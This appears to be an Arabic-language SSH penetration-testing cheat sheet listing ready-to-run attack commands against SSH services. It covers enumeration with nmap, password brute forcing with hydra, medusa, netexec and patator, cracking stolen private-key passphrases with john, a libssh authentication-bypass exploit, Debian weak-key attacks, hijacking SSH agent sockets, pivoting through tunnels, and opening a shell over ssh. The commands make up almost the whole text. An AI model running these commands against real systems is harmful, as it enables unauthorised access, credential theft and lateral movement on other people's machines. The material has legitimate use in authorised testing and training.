Secure Shell — بروتوكول وصول آمن. الهجوم عليه غالباً عبر Brute Force أو مفاتيح مسروقة أو ثغرات في الإصدار نفسه.
# Nmap
nmap -p 22 -sV 192.168.1.1
nmap -p 22 --script ssh-auth-methods,ssh-hostkey,ssh2-enum-algos 192.168.1.1
# الحصول على SSH banner
nc -nv 192.168.1.1 22
nmap -p 22 --script banner 192.168.1.1
# فحص طرق المصادقة المتاحة
nmap -p 22 --script ssh-auth-methods --script-args ssh.user=root 192.168.1.1
# Hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
hydra -L users.txt -P pass.txt ssh://192.168.1.1 -t 4
# Medusa
medusa -h 192.168.1.1 -u root -P /usr/share/wordlists/rockyou.txt -M ssh
# NetExec
nxc ssh 192.168.1.1 -u users.txt -p pass.txt
nxc ssh 192.168.1.1 -u root -p pass.txt
# Patator
patator ssh_login host=192.168.1.1 user=root password=FILE0 0=/usr/share/wordlists/rockyou.txt
# إذا وجدت id_rsa على السيرفر
chmod 600 id_rsa
ssh -i id_rsa [email protected]
# كسر passphrase المفتاح
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
nmap -p 22 --script ssh-vuln-cve2018-10933 192.168.1.1
# تنزيل قاعدة المفاتيح الضعيفة ومحاولة الوصول
python3 debian_weak_keys.py
# إيجاد SSH Agent sockets
find /tmp -name 'ssh-*' 2>/dev/null
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.XXXX
ssh user@target # بدون كلمة مرور
# Local Port Forwarding
ssh -L 8080:internal:80 [email protected]
# Remote Port Forwarding
ssh -R 8080:localhost:80 [email protected]
# Dynamic (SOCKS Proxy)
ssh -D 1080 [email protected]
proxychains nmap -sT 10.10.10.0/24
# بدون TTY (Reverse Shell)
ssh -o StrictHostKeyChecking=no [email protected] 'bash -i'
nmap -p 22 --script ssh-vuln-cve2018-10933 192.168.1.1
python3 libssh-auth-bypass.py 192.168.1.1 22